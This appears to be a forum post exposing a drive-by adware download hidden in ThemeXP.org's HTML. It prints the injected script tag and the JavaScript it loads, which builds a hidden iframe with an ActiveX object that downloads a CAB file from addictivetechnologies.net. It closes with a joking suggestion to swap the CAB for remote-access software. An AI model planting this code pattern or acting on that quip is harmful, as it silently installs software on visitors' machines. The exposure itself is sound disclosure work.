Yes...  ThemeXP.org has this in the HTML..

<!-- AUTO_PROMPT AD START --><script language="JavaScript" 
type="text/JavaScript
" 
src="http://WWW.addictivetechnologies.net/dm0/js/Confirm80wu03rd.js"></script>
<!-- AUTO_PROMPT AD END -->

Which calls...

http://WWW.addictivetechnologies.net/dm0/js/Confirm80wu03rd.js

Which contains...

                 document.write('<iframe id="downloads_manager" 
style="position:a
bsolute;visibility:hidden;"></iframe>');

               document_code = '<html><head>\n';
               document_code += '<\/head><body>\n';
               document_code += '<object onerror="window.parent.retry();" 
id="DDo
wnload_UL1" classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA" 
codebase="http:
//www.addictivetechnologies.net/DM0/cab/ATPartners.cab" HEIGHT=0 
WIDTH=0><PARAM
NAME="AffiliateID" 
VALUE="%2BA0%2CJ%7Dh%3AB6%5E%3B9gy%3E7ue%2D%7Dhx"></object>\n
';
               document_code += '<\/body><\/html>';
               downloads_manager.document.write(document_code);
               downloads_manager.document.close();

                 setCookie('minpopup80wu03rd','test',1);

...which downloads http:
//www.addictivetechnologies.net/DM0/cab/ATPartners.cab

...which means those using shitty MS browsers get owned, again.

If you want a laugh, replace the CAB files which WinVNC or somesuch.
